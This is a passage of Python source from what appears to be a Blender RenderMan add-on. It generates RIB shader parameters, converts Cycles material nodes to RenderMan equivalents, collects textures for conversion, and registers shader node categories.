'%s')" % token new_tokens.append(prepend + token + append) if 'if' in new_tokens and 'else' not in new_tokens: new_tokens.extend(['else', 'False']) return eval(" ".join(new_tokens)) # Rib export gains_to_enable = { 'diffuseGain': 'enableDiffuse', 'specularFaceColor': 'enablePrimarySpecular', 'specularEdgeColor': 'enablePrimarySpecular', 'roughSpecularFaceColor': 'enableRoughSpecular', 'roughSpecularEdgeColor': 'enableRoughSpecular', 'clearcoatFaceColor': 'enableClearCoat', 'clearcoatEdgeColor': 'enableClearCoat', 'iridescenceFaceGain': 'enableIridescence', 'iridescenceEdgeGain': 'enableIridescence', 'fuzzGain': 'enableFuzz', 'subsurfaceGain': 'enableSubsurface', 'singlescatterGain': 'enableSingleScatter', 'singlescatterDirectGain': 'enableSingleScatter', 'refractionGain': 'enableGlass', 'reflectionGain': 'enableGlass', 'glowGain': 'enableGlow', } # generate param list def gen_params(ri, node, mat_name=None): params = {} # If node is OSL node get properties from dynamic location. if node.bl_idname == "PxrOSLPatternNode": if getattr(node, "codetypeswitch") == "EXT": prefs = bpy.context.preferences.addons[__package__].preferences osl_path = user_path(getattr(node, 'shadercode')) FileName = os.path.basename(osl_path) FileNameNoEXT,ext = os.path.splitext(FileName) out_file = os.path.join( user_path(prefs.env_vars.out), "shaders", FileName) if ext == ".oso": if not os.path.exists(out_file) or not os.path.samefile(osl_path, out_file): if not os.path.exists(os.path.join(user_path(prefs.env_vars.out), "shaders")): os.mkdir(os.path.join(user_path(prefs.env_vars.out), "shaders")) shutil.copy(osl_path, out_file) for input_name, input in node.inputs.items(): prop_type = input.renderman_type if input.is_linked: to_socket = input from_socket = input.links[0].from_socket params['reference %s %s' % (prop_type, input_name)] = \ [get_output_param_str( from_socket.node, mat_name, from_socket, to_socket)] elif type(input) != RendermanNodeSocketStruct: params['%s %s' % (prop_type, input_name)] = \ rib(input.default_value, type_hint=prop_type) # Special case for SeExpr Nodes. Assume that the code will be in a file so # that needs to be extracted. elif node.bl_idname == "PxrSeExprPatternNode": fileInputType = node.codetypeswitch for prop_name, meta in node.prop_meta.items(): if prop_name in ["codetypeswitch", 'filename']: pass elif prop_name == "internalSearch" and fileInputType == 'INT': if node.internalSearch != "": script = bpy.data.texts[node.internalSearch] params['%s %s' % ("string", "expression")] = \ rib(script.as_string(), type_hint=meta['renderman_type']) elif prop_name == "shadercode" and fileInputType == "NODE": params['%s %s' % ("string", "expression")] = node.expression else: prop = getattr(node, prop_name) # if input socket is linked reference that if prop_name in node.inputs and \ node.inputs[prop_name].is_linked: to_socket = node.inputs[prop_name] from_socket = to_socket.links[0].from_socket params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_socket.node, mat_name, from_socket, to_socket)] # else output rib else: params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(prop, type_hint=meta['renderman_type']) else: for prop_name, meta in node.prop_meta.items(): if prop_name in txmake_options.index: pass elif node.__annotations__["plugin_name"] == 'PxrRamp' and prop_name in ['colors', 'positions']: pass elif(prop_name in ['sblur', 'tblur', 'notes']): pass else: prop = getattr(node, prop_name) # if property group recurse if meta['renderman_type'] == 'page': continue elif prop_name == 'inputMaterial' or \ ('type' in meta and meta['type'] == 'vstruct'): continue # if input socket is linked reference that elif hasattr(node, 'inputs') and prop_name in node.inputs and \ node.inputs[prop_name].is_linked: to_socket = node.inputs[prop_name] from_socket = to_socket.links[0].from_socket from_node = to_socket.links[0].from_node if 'arraySize' in meta: params['reference %s[1] %s' % (meta['renderman_type'], meta['renderman_name'])] \ = [get_output_param_str( from_node, mat_name, from_socket, to_socket)] else: params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_node, mat_name, from_socket, to_socket)] # see if vstruct linked elif is_vstruct_and_linked(node, prop_name): vstruct_name, vstruct_member = meta[ 'vstructmember'].split('.') from_socket = node.inputs[ vstruct_name].links[0].from_socket temp_mat_name = mat_name if from_socket.node.bl_idname == 'ShaderNodeGroup': ng = from_socket.node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return False in_sock = group_output.inputs[from_socket.name] if len(in_sock.links): from_socket = in_sock.links[0].from_socket temp_mat_name = mat_name + '.' + from_socket.node.name vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) if vstruct_from_param in from_socket.node.output_meta: actual_socket = from_socket.node.output_meta[ vstruct_from_param] params['reference %s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ [get_output_param_str( from_socket.node, temp_mat_name, actual_socket)] else: print('Warning! %s not found on %s' % (vstruct_from_param, from_socket.node.name)) # else output rib else: # if struct is not linked continue if meta['renderman_type'] in ['struct', 'enum']: continue # if this is a gain on PxrSurface and the lobe isn't if node.bl_idname == 'PxrSurfaceBxdfNode' and \ prop_name in gains_to_enable and \ not getattr(node, gains_to_enable[prop_name]): val = [0, 0, 0] if meta[ 'renderman_type'] == 'color' else 0 params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = val elif 'options' in meta and meta['options'] == 'texture' \ and node.bl_idname != "PxrPtexturePatternNode" or \ ('widget' in meta and meta['widget'] == 'assetIdInput' and prop_name != 'iesProfile'): params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(get_tex_file_name(prop), type_hint=meta['renderman_type']) elif 'arraySize' in meta: if type(prop) == int: prop = [prop] params['%s[%d] %s' % (meta['renderman_type'], len(prop), meta['renderman_name'])] \ = rib(prop) else: params['%s %s' % (meta['renderman_type'], meta['renderman_name'])] = \ rib(prop, type_hint=meta['renderman_type']) if node.__annotations__["plugin_name"] == 'PxrRamp': nt = bpy.data.node_groups[node.node_group] if nt: dummy_ramp = nt.nodes['ColorRamp'] colors = [] positions = [] positions.append(float(dummy_ramp.color_ramp.elements[0].position)) colors.extend(dummy_ramp.color_ramp.elements[0].color[:3]) for e in dummy_ramp.color_ramp.elements: positions.append(float(e.position)) colors.extend(e.color[:3]) positions.append( float(dummy_ramp.color_ramp.elements[-1].position)) colors.extend(dummy_ramp.color_ramp.elements[-1].color[:3]) params['color[%d] colors' % len(positions)] = colors params['float[%d] positions' % len(positions)] = positions return params def create_rman_surface(nt, parent_node, input_index, node_type="PxrSurfaceBxdfNode"): layer = nt.nodes.new(node_type) nt.links.new(layer.outputs[0], parent_node.inputs[input_index]) setattr(layer, 'enableDiffuse', False) layer.location = parent_node.location layer.diffuseGain = 0 layer.location[0] -= 300 return layer combine_nodes = ['ShaderNodeAddShader', 'ShaderNodeMixShader'] def convert_cycles_bsdf(nt, rman_parent, node, input_index): if node.bl_idname in combine_nodes: i = 0 if node.bl_idname == 'ShaderNodeAddShader' else 1 node1 = node.inputs[ 0 + i].links[0].from_node if node.inputs[0 + i].is_linked else None node2 = node.inputs[ 1 + i].links[0].from_node if node.inputs[1 + i].is_linked else None if not node1 and not node2: return elif not node1: convert_cycles_bsdf(nt, rman_parent, node2, input_index) elif not node2: convert_cycles_bsdf(nt, rman_parent, node1, input_index) # to make a mixer elif node.bl_idname == 'ShaderNodeMixShader' or node1.bl_idname in combine_nodes \ or node2.bl_idname in combine_nodes or \ node1.bl_idname == 'ShaderNodeGroup' or node2.bl_idname == 'ShaderNodeGroup' \ or (bsdf_map[node1.bl_idname][0] == bsdf_map[node2.bl_idname][0]): mixer = nt.nodes.new('PxrLayerMixerPatternNode') # if parent is output make a pxr surface first nt.links.new(mixer.outputs["pxrMaterialOut"], rman_parent.inputs[input_index]) offset_node_location(rman_parent, mixer, node) # set the layer masks if node.bl_idname == 'ShaderNodeAddShader': mixer.layer1Mask = .5 else: convert_cycles_input( nt, node.inputs['Fac'], mixer, 'layer1Mask') # make a new node for each convert_cycles_bsdf(nt, mixer, node1, 0) convert_cycles_bsdf(nt, mixer, node2, 1) # this is a heterogenous mix of add else: if rman_parent.__annotations__["plugin_name"] == 'PxrLayerMixer': old_parent = rman_parent rman_parent = create_rman_surface(nt, rman_parent, input_index, 'PxrLayerPatternNode') offset_node_location(old_parent, rman_parent, node) convert_cycles_bsdf(nt, rman_parent, node1, 0) convert_cycles_bsdf(nt, rman_parent, node2, 1) # else set lobe on parent elif 'Bsdf' in node.bl_idname or node.bl_idname == 'ShaderNodeSubsurfaceScattering': if rman_parent.__annotations__["plugin_name"] == 'PxrLayerMixer': old_parent = rman_parent rman_parent = create_rman_surface(nt, rman_parent, input_index, 'PxrLayerPatternNode') offset_node_location(old_parent, rman_parent, node) node_type = node.bl_idname bsdf_map[node_type][1](nt, node, rman_parent) # if we find an emission node, naively make it a meshlight # note this will only make the last emission node the light elif node.bl_idname == 'ShaderNodeEmission': output = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == 'output'), None) meshlight = nt.nodes.new("PxrMeshLightLightNode") nt.links.new(meshlight.outputs[0], output.inputs["Light"]) meshlight.location = output.location meshlight.location[0] -= 300 convert_cycles_input( nt, node.inputs['Strength'], meshlight, "intensity") if node.inputs['Color'].is_linked: convert_cycles_input( nt, node.inputs['Color'], meshlight, "textureColor") else: setattr(meshlight, 'lightColor', node.inputs[ 'Color'].default_value[:3]) else: rman_node = convert_cycles_node(nt, node) nt.links.new(rman_node.outputs[0], rman_parent.inputs[input_index]) def convert_cycles_displacement(nt, surface_node, displace_socket): # for now just do bump if displace_socket.is_linked: bump = nt.nodes.new("PxrBumpPatternNode") nt.links.new(bump.outputs[0], surface_node.inputs['bumpNormal']) bump.location = surface_node.location bump.location[0] -= 200 bump.location[1] -= 100 convert_cycles_input(nt, displace_socket, bump, "inputBump") # return # if displace_socket.is_linked: # displace = nt.nodes.new("PxrDisplaceDisplacementNode") # nt.links.new(displace.outputs[0], output_node.inputs['Displacement']) # displace.location = output_node.location # displace.location[0] -= 200 # displace.location[1] -= 100 # setattr(displace, 'dispAmount', .01) # convert_cycles_input(nt, displace_socket, displace, "dispScalar") # could make this more robust to shift the entire nodetree to below the # bounds of the cycles nodetree def set_ouput_node_location(nt, output_node, cycles_output): output_node.location = cycles_output.location output_node.location[1] -= 500 def offset_node_location(rman_parent, rman_node, cycles_node): linked_socket = next((sock for sock in cycles_node.outputs if sock.is_linked), None) rman_node.location = rman_parent.location if linked_socket: rman_node.location += (cycles_node.location - linked_socket.links[0].to_node.location) def convert_cycles_nodetree(id, output_node, reporter): # find base node from . import cycles_convert cycles_convert.converted_nodes = {} nt = id.node_tree reporter({'INFO'}, 'Converting material ' + id.name + ' to RenderMan') cycles_output_node = find_node(id, 'ShaderNodeOutputMaterial') if not cycles_output_node: reporter({'WARNING'}, 'No Cycles output found ' + id.name) return False # if no bsdf return false if not cycles_output_node.inputs[0].is_linked: reporter({'WARNING'}, 'No Cycles bsdf found ' + id.name) return False # set the output node location set_ouput_node_location(nt, output_node, cycles_output_node) # walk tree cycles_convert.report = reporter begin_cycles_node = cycles_output_node.inputs[0].links[0].from_node # if this is an emission use PxrLightEmission if begin_cycles_node.bl_idname == "ShaderNodeEmission": meshlight = nt.nodes.new("PxrMeshLightLightNode") nt.links.new(meshlight.outputs[0], output_node.inputs["Light"]) offset_node_location(output_node, meshlight, begin_cycles_node) convert_cycles_input(nt, begin_cycles_node.inputs[ 'Strength'], meshlight, "intensity") if begin_cycles_node.inputs['Color'].is_linked: convert_cycles_input(nt, begin_cycles_node.inputs[ 'Color'], meshlight, "textureColor") else: setattr(meshlight, 'lightColor', begin_cycles_node.inputs[ 'Color'].default_value[:3]) bxdf = nt.nodes.new('PxrBlackBxdfNode') nt.links.new(bxdf.outputs[0], output_node.inputs["Bxdf"]) else: base_surface = create_rman_surface(nt, output_node, 0) offset_node_location(output_node, base_surface, begin_cycles_node) convert_cycles_bsdf(nt, base_surface, begin_cycles_node, 0) convert_cycles_displacement( nt, base_surface, cycles_output_node.inputs[2]) return True cycles_node_map = { 'ShaderNodeAttribute': 'node_attribute', 'ShaderNodeBlackbody': 'node_checker_blackbody', 'ShaderNodeTexBrick': 'node_brick_texture', 'ShaderNodeBrightContrast': 'node_brightness', 'ShaderNodeTexChecker': 'node_checker_texture', 'ShaderNodeBump': 'node_bump', 'ShaderNodeCameraData': 'node_camera', 'ShaderNodeTexChecker': 'node_checker_texture', 'ShaderNodeCombineHSV': 'node_combine_hsv', 'ShaderNodeCombineRGB': 'node_combine_rgb', 'ShaderNodeCombineXYZ': 'node_combine_xyz', 'ShaderNodeTexEnvironment': 'node_environment_texture', 'ShaderNodeFresnel': 'node_fresnel', 'ShaderNodeGamma': 'node_gamma', 'ShaderNodeNewGeometry': 'node_geometry', 'ShaderNodeTexGradient': 'node_gradient_texture', 'ShaderNodeHairInfo': 'node_hair_info', 'ShaderNodeInvert': 'node_invert', 'ShaderNodeHueSaturation': 'node_hsv', 'ShaderNodeTexImage': 'node_image_texture', 'ShaderNodeHueSaturation': 'node_hsv', 'ShaderNodeLayerWeight': 'node_layer_weight', 'ShaderNodeLightFalloff': 'node_light_falloff', 'ShaderNodeLightPath': 'node_light_path', 'ShaderNodeTexMagic': 'node_magic_texture', 'ShaderNodeMapping': 'node_mapping', 'ShaderNodeMath': 'node_math', 'ShaderNodeMixRGB': 'node_mix', 'ShaderNodeTexMusgrave': 'node_musgrave_texture', 'ShaderNodeTexNoise': 'node_noise_texture', 'ShaderNodeNormal': 'node_normal', 'ShaderNodeNormalMap': 'node_normal_map', 'ShaderNodeObjectInfo': 'node_object_info', 'ShaderNodeParticleInfo': 'node_particle_info', 'ShaderNodeRGBCurve': 'node_rgb_curves', 'ShaderNodeValToRGB': 'node_rgb_ramp', 'ShaderNodeSeparateHSV': 'node_separate_hsv', 'ShaderNodeSeparateRGB': 'node_separate_rgb', 'ShaderNodeSeparateXYZ': 'node_separate_xyz', 'ShaderNodeTexSky': 'node_sky_texture', 'ShaderNodeTangent': 'node_tangent', 'ShaderNodeTexCoord': 'node_texture_coordinate', 'ShaderNodeUVMap': 'node_uv_map', 'ShaderNodeValue': 'node_value', 'ShaderNodeVectorCurves': 'node_vector_curves', 'ShaderNodeVectorMath': 'node_vector_math', 'ShaderNodeVectorTransform': 'node_vector_transform', 'ShaderNodeTexVoronoi': 'node_voronoi_texture', 'ShaderNodeTexWave': 'node_wave_texture', 'ShaderNodeWavelength': 'node_wavelength', 'ShaderNodeWireframe': 'node_wireframe', } def get_mat_name(mat_name): return mat_name.replace(' ', '') def get_node_name(node, mat_name): return "%s.%s" % (mat_name, node.name.replace(' ', '')) def get_socket_name(node, socket): if type(socket) == dict: return socket['name'].replace(' ', '') # if this is a renderman node we can just use the socket name, else: if not hasattr('node', '__annotations__') or not 'plugin_name' in node.__annotations__: if socket.name in node.inputs and socket.name in node.outputs: suffix = 'Out' if socket.is_output else 'In' return socket.name.replace(' ', '') + suffix return socket.identifier.replace(' ', '') def get_socket_type(node, socket): sock_type = socket.type.lower() if sock_type == 'rgba': return 'color' elif sock_type == 'value': return 'float' elif sock_type == 'vector': return 'point' else: return sock_type # do we need to convert this socket? def do_convert_socket(from_socket, to_socket): if not to_socket: return False return (is_float_type(from_socket) and is_float3_type(to_socket)) or \ (is_float3_type(from_socket) and is_float_type(to_socket)) def build_output_param_str(mat_name, from_node, from_socket, convert_socket=False): from_node_name = get_node_name(from_node, mat_name) from_sock_name = get_socket_name(from_node, from_socket) # replace with the convert node's output if convert_socket: if is_float_type(from_socket): return "convert_%s.%s:resultRGB" % (from_node_name, from_sock_name) else: return "convert_%s.%s:resultF" % (from_node_name, from_sock_name) else: return "%s:%s" % (from_node_name, from_sock_name) def get_output_param_str(node, mat_name, socket, to_socket=None): if node.bl_idname == 'ShaderNodeGroup': ng = node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return "error:error" in_sock = group_output.inputs[socket.name] if len(in_sock.links): link = in_sock.links[0] return build_output_param_str(mat_name + '.' + node.name, link.from_node, link.from_socket, do_convert_socket(link.from_socket, to_socket)) else: return "error:error" if node.bl_idname == 'NodeGroupInput': global current_group_node if current_group_node is None: return "error:error" in_sock = current_group_node.inputs[socket.name] if len(in_sock.links): link = in_sock.links[0] return build_output_param_str(mat_name, link.from_node, link.from_socket, do_convert_socket(link.from_socket, to_socket)) else: return "error:error" return build_output_param_str(mat_name, node, socket, do_convert_socket(socket, to_socket)) current_group_node = None def translate_node_group(ri, group_node, mat_name): ng = group_node.node_tree out = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if out is None: return nodes_to_export = gather_nodes(out) global current_group_node current_group_node = group_node for node in nodes_to_export: shader_node_rib(ri, node, mat_name=(mat_name + '.' + group_node.name)) current_group_node = None def translate_cycles_node(ri, node, mat_name): if node.bl_idname == 'ShaderNodeGroup': translate_node_group(ri, node, mat_name) return if node.bl_idname not in cycles_node_map.keys(): print('No translation for node of type %s named %s' % (node.bl_idname, node.name)) return mapping = cycles_node_map[node.bl_idname] params = {} for in_name, input in node.inputs.items(): param_name = "%s %s" % (get_socket_type( node, input), get_socket_name(node, input)) if input.is_linked: param_name = 'reference ' + param_name link = input.links[0] param_val = get_output_param_str( link.from_node, mat_name, link.from_socket, input) else: param_val = rib(input.default_value, type_hint=get_socket_type(node, input)) if input.type == 'VECTOR' and param_val == [0.0, 0.0, 0.0]: continue params[param_name] = param_val ramp_size = 256 if node.bl_idname == 'ShaderNodeValToRGB': colors = [] alphas = [] for i in range(ramp_size): c = node.color_ramp.evaluate(float(i) / (ramp_size - 1.0)) colors.extend(c[:3]) alphas.append(c[3]) params['color[%d] ramp_color' % ramp_size] = colors params['float[%d] ramp_alpha' % ramp_size] = alphas elif node.bl_idname == 'ShaderNodeVectorCurve': colors = [] node.mapping.initialize() r = node.mapping.curves[0] g = node.mapping.curves[1] b = node.mapping.curves[2] for i in range(ramp_size): v = float(i) / (ramp_size - 1.0) colors.extend([r.evaluate(v), g.evaluate(v), b.evaluate(v)]) params['color[%d] ramp' % ramp_size] = colors elif node.bl_idname == 'ShaderNodeRGBCurve': colors = [] node.mapping.initialize() c = node.mapping.curves[0] r = node.mapping.curves[1] g = node.mapping.curves[2] b = node.mapping.curves[3] for i in range(ramp_size): v = float(i) / (ramp_size - 1.0) c_val = c.evaluate(v) colors.extend([r.evaluate(v) * c_val, g.evaluate(v) * c_val, b.evaluate(v) * c_val]) params['color[%d] ramp' % ramp_size] = colors ri.Pattern(mapping, get_node_name(node, mat_name), params) def shader_node_rib(ri, node, mat_name, disp_bound=0.0, portal=False): if type(node) == type(()): shader, from_node, from_socket = node input_type = 'float' if shader == 'PxrToFloat3' else 'color' node_name = 'convert_%s.%s' % (get_node_name( from_node, mat_name), get_socket_name(from_node, from_socket)) if from_node.bl_idname == 'ShaderNodeGroup': node_name = 'convert_' + get_output_param_str( from_node, mat_name, from_socket).replace(':', '.') params = {"reference %s input" % input_type: get_output_param_str( from_node, mat_name, from_socket)} params['__instanceid'] = node_name ri.Pattern(shader, node_name, params) return elif not hasattr(node, 'renderman_node_type'): return translate_cycles_node(ri, node, mat_name) params = gen_params(ri, node, mat_name) instance = mat_name + '.' + node.name params['__instanceid'] = instance if 'string filename' in params: params['string filename'] = bpy.path.abspath(params['string filename']) if node.renderman_node_type == "pattern": if node.bl_label == 'PxrOSL': shader = node.__annotations__['plugin_name'] if shader: ri.Pattern(shader, instance, params) else: ri.Pattern(node.bl_label, instance, params) elif node.renderman_node_type == "light": light_group_name = '' scene = bpy.context.scene for lg in scene.renderman.light_groups: if mat_name in lg.members.keys(): light_group_name = lg.name break params['string lightGroup'] = light_group_name params['__instanceid'] = mat_name light_name = node.bl_label if light_name == 'PxrPortalLight': if mat_name in bpy.data.lamps: lamp = bpy.context.scene.objects.active if lamp and lamp.parent and lamp.parent.type == 'LAMP' \ and lamp.parent.data.renderman.renderman_type == 'ENV': from .export import property_group_to_params parent_node = lamp.parent.data.renderman.get_light_node() parent_params = property_group_to_params(parent_node) params['string domeSpace'] = lamp.parent.name params['string portalName'] = mat_name params['string domeColorMap'] = parent_params['string lightColorMap'] params['float intensity'] = parent_params['float intensity'] * params['float intensityMult'] del params['float intensityMult'] params['float exposure'] = parent_params['float exposure'] params['color lightColor'] = [i*j for i,j in zip(parent_params['color lightColor'],params['color tint'])] del params['color tint'] if not params['int enableTemperature']: params['int enableTemperature'] = parent_params['int enableTemperature'] params['float temperature'] = parent_params['float temperature'] params['float specular'] *= parent_params['float specular'] params['float diffuse'] *= parent_params['float diffuse'] ri.Light(light_name, mat_name, params) elif node.renderman_node_type == "lightfilter": params['__instanceid'] = mat_name light_name = node.bl_label ri.LightFilter(light_name, mat_name, params) elif node.renderman_node_type == "displacement": ri.Attribute('displacementbound', {'sphere': disp_bound}) ri.Displace(node.bl_label, mat_name, params) else: ri.Bxdf(node.bl_label, instance, params) def replace_frame_num(prop): frame_num = bpy.data.scenes[0].frame_current prop = prop.replace('$f4', str(frame_num).zfill(4)) prop = prop.replace('$F4', str(frame_num).zfill(4)) prop = prop.replace('$f3', str(frame_num).zfill(3)) prop = prop.replace('$F3', str(frame_num).zfill(3)) return prop def get_tex_file_name(prop): prop = replace_frame_num(prop) prop = bpy.path.basename(prop) part = prop.rpartition('.') prop = part[0] if prop != '' and part[2].lower() != 'tex': _p_ = bpy.context.scene.renderman.path_texture_output _s_ = "" if _p_.endswith("/") or _p_.endswith("\\") else "/" _f_ = "{}{}{}{}".format(_p_, _s_, prop, ".tex") return user_path(_f_) else: return prop def is_same_type(socket1, socket2): return (type(socket1) == type(socket2)) or (is_float_type(socket1) and is_float_type(socket2)) or \ (is_float3_type(socket1) and is_float3_type(socket2)) def is_float_type(socket): if type(socket) == type({}): return socket['renderman_type'] in ['int', 'float'] elif hasattr(socket.node, '__annotations__') and 'plugin_name' in node.__annotations__: prop_meta = getattr(socket.node, 'output_meta', [ ]) if socket.is_output else getattr(socket.node, 'prop_meta', []) if socket.name in prop_meta: return prop_meta[socket.name]['renderman_type'] in ['int', 'float'] else: return socket.type in ['INT', 'VALUE'] def is_float3_type(socket): if type(socket) == type({}): return socket['renderman_type'] in ['int', 'float'] elif hasattr(socket.node, '__annotations__') and 'plugin_name' in node.__annotations__: prop_meta = getattr(socket.node, 'output_meta', [ ]) if socket.is_output else getattr(socket.node, 'prop_meta', []) if socket.name in prop_meta: return prop_meta[socket.name]['renderman_type'] in ['color', 'vector', 'normal'] else: return socket.type in ['RGBA', 'VECTOR'] def gather_nodes(node): nodes = [] for socket in node.inputs: if socket.is_linked: link = socket.links[0] for sub_node in gather_nodes(socket.links[0].from_node): if sub_node not in nodes: nodes.append(sub_node) if is_float_type(link.from_socket) and is_float3_type(socket): convert_node = ('PxrToFloat3', link.from_node, link.from_socket) if convert_node not in nodes: nodes.append(convert_node) elif is_float3_type(link.from_socket) and is_float_type(socket): convert_node = ('PxrToFloat', link.from_node, link.from_socket) if convert_node not in nodes: nodes.append(convert_node) if hasattr(node, 'renderman_node_type') and node.renderman_node_type != 'output': nodes.append(node) elif not hasattr(node, 'renderman_node_type') and node.bl_idname not in ['ShaderNodeOutputMaterial', 'NodeGroupInput', 'NodeGroupOutput']: nodes.append(node) return nodes def export_shader_nodetree(ri, id, handle=None, disp_bound=0.0, iterate_instance=False): if id and id.node_tree: if is_renderman_nodetree(id): portal = type( id).__name__ == 'AreaLamp' and id.renderman.renderman_type == 'PORTAL' nt = id.node_tree if not handle: handle = id.name if type(id) == bpy.types.Material: handle = get_mat_name(handle) from . import engine if engine.ipr and hasattr(id.renderman, 'instance_num'): if iterate_instance: id.renderman.instance_num += 1 if id.renderman.instance_num > 0: handle += "_%d" % id.renderman.instance_num out = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == 'output'), None) if out is None: return nodes_to_export = gather_nodes(out) ri.ArchiveRecord('comment', "Shader Graph") for node in nodes_to_export: shader_node_rib(ri, node, mat_name=handle, disp_bound=disp_bound, portal=portal) elif find_node(id, 'ShaderNodeOutputMaterial'): print("Error Material %s needs a RenderMan BXDF" % id.name) def get_textures_for_node(node, matName=""): textures = [] if hasattr(node, 'bl_idname'): if node.bl_idname == "PxrPtexturePatternNode": return textures elif node.bl_idname == "PxrOSLPatternNode": for input_name, input in node.inputs.items(): if hasattr(input, 'is_texture') and input.is_texture: prop = input.default_value out_file_name = get_tex_file_name(prop) textures.append((replace_frame_num(prop), out_file_name, ['-smode', 'periodic', '-tmode', 'periodic'])) return textures elif node.bl_idname == 'ShaderNodeGroup': nt = node.node_tree for node in nt.nodes: textures.extend(get_textures_for_node(node, matName="")) return textures if hasattr(node, 'prop_meta'): for prop_name, meta in node.prop_meta.items(): if prop_name in txmake_options.index: pass elif hasattr(node, prop_name): prop = getattr(node, prop_name) if meta['renderman_type'] == 'page': continue else: if ('options' in meta and meta['options'] == 'texture') or \ (node.renderman_node_type == 'light' and 'widget' in meta and meta['widget'] == 'assetIdInput' and prop_name != 'iesProfile'): out_file_name = get_tex_file_name(prop) if out_file_name != prop: if node.renderman_node_type == 'light' and \ "Dome" in node.bl_label: # no options for now textures.append( (replace_frame_num(prop), out_file_name, ['-envlatl'])) else: # Test and see if options like smode are on # this node. if hasattr(node, "smode"): optionsList = [] for option in txmake_options.index: partsOfOption = getattr( txmake_options, option) if partsOfOption["exportType"] == "name": optionsList.append("-" + option) # Float values need converting # before they are passed to command # line if partsOfOption["type"] == "float": optionsList.append( str(getattr(node, option))) else: optionsList.append( getattr(node, option)) else: # Float values need converting # before they are passed to command # line if partsOfOption["type"] == "float": optionsList.append( str(getattr(node, option))) else: optionsList.append( "-" + getattr(node, option)) textures.append( (replace_frame_num(prop), out_file_name, optionsList)) else: # no options found add the bare minimum # options for smooth export. textures.append((replace_frame_num(prop), out_file_name, ['-smode', 'periodic', '-tmode', 'periodic'])) return textures def get_textures(id): textures = [] if id is None or not id.node_tree: return textures nt = id.node_tree for node in nt.nodes: textures.extend(get_textures_for_node(node, id.name)) return textures pattern_node_categories_map = {"texture": ["PxrFractal", "PxrBakeTexture", "PxrBakePointCloud", "PxrProjectionLayer", "PxrPtexture", "PxrTexture", "PxrVoronoise", "PxrWorley", "PxrFractalize", "PxrDirt", "PxrLayeredTexture", "PxrMultiTexture"], "bump": ["PxrBump", "PxrNormalMap", "PxrFlakes", "aaOceanPrmanShader", 'PxrAdjustNormal'], "color": ["PxrBlackBody", "PxrHairColor", "PxrBlend", "PxrLayeredBlend", "PxrClamp", "PxrExposure", "PxrGamma", "PxrHSL", "PxrInvert", "PxrMix", "PxrProjectionStack", "PxrRamp", "PxrRemap", "PxrThinFilm", "PxrThreshold", "PxrVary", "PxrChecker", "PxrColorCorrect"], "manifold": ["PxrManifold2D", "PxrRandomTextureManifold", "PxrManifold3D", "PxrManifold3DN", "PxrProjector", "PxrRoundCube", "PxrBumpManifold2D", "PxrTileManifold"], "geometry": ["PxrDot", "PxrCross", "PxrFacingRatio", "PxrTangentField"], "script": ["PxrOSL", "PxrSeExpr"], "utility": ["PxrAttribute", "PxrGeometricAOVs", "PxrMatteID", "PxrPrimvar", "PxrShadedSide", "PxrTee", "PxrToFloat", "PxrToFloat3", "PxrVariable"], "displace": ["PxrDispScalarLayer", 'PxrDispTransform', 'PxrDispVectorLayer'], "layer": ['PxrLayer', 'PxrLayerMixer']} # Node Chatagorization List def GetPatternCategory(name): for cat_name, node_names in pattern_node_categories_map.items(): if name in node_names: return cat_name else: return 'deprecated' # our own base class with an appropriate poll function, # so the categories only show up in our own tree type class RendermanPatternNodeCategory(NodeCategory): @classmethod def poll(cls, context): return context.space_data.tree_type == 'ShaderNodeTree' classes = [ RendermanShaderSocket, RendermanNodeSocketColor, RendermanNodeSocketFloat, RendermanNodeSocketInt, RendermanNodeSocketString, RendermanNodeSocketVector, RendermanNodeSocketStruct, ] nodetypes = {} pattern_categories = {} def register(): for cls in classes: bpy.utils.register_class(cls) user_preferences = bpy.context.preferences prefs = user_preferences.addons[__package__].preferences categories = {} for name, arg_file in args_files_in_path(prefs, None).items(): try: vals = generate_node_type(prefs, name, ET.parse(arg_file).getroot()) if vals: typename, nodetype = vals nodetypes[typename] = nodetype except Exception: print("Error parsing " + name) traceback.print_exc() node_cats = { 'bxdf': ('RenderMan Bxdfs', []), 'light': ('RenderMan Lights', []), 'patterns_texture': ('RenderMan Texture Patterns', []), 'patterns_bump': ('RenderMan Bump Patterns', []), 'patterns_color': ('RenderMan Color Patterns', []), 'patterns_manifold': ('RenderMan Manifold Patterns', []), 'patterns_geometry': ('RenderMan Geometry Patterns', []), 'patterns_utility': ('RenderMan Utility Patterns', []), 'patterns_script': ('RenderMan Script Patterns', []), 'patterns_displace': ('RenderMan Displacement Patterns', []), 'patterns_layer': ('RenderMan Layers', []), 'displacement': ('RenderMan Displacements', []) } for name, node_type in nodetypes.items(): node_item = NodeItem(name, label=node_type.bl_label) if node_type.renderman_node_type == 'pattern': # insert pxr layer in bxdf pattern_cat = GetPatternCategory(node_type.bl_label) if pattern_cat == 'deprecated': continue node_cat = 'patterns_' + pattern_cat node_cats[node_cat][1].append(node_item) pattern_cat = pattern_cat.capitalize() if pattern_cat not in pattern_categories: pattern_categories[pattern_cat] = {} pattern_categories[pattern_cat][name] = node_type elif 'LM' in name and node_type.renderman_node_type == 'bxdf': # skip LM materials continue elif node_type.renderman_node_type == 'light' and 'PxrMeshLight' not in name: # skip light nodes continue else: node_cats[node_type.renderman_node_type][1].append(node_item) # all categories in a list node_categories = [ # identifier, label, items list RendermanPatternNodeCategory("PRMan_output_nodes", "RenderMan Outputs", items=[NodeItem('RendermanOutputNode', label=RendermanOutputNode.bl_label)]), ] for name, (desc, items) in node_cats.items(): node_categories.append(RendermanPatternNodeCategory(name, desc, items=sorted(items, key=attrgetter('_label')))) nodeitems_utils.register_node_categories("RENDERMANSHADERNODES", node_categories) def unregister(): 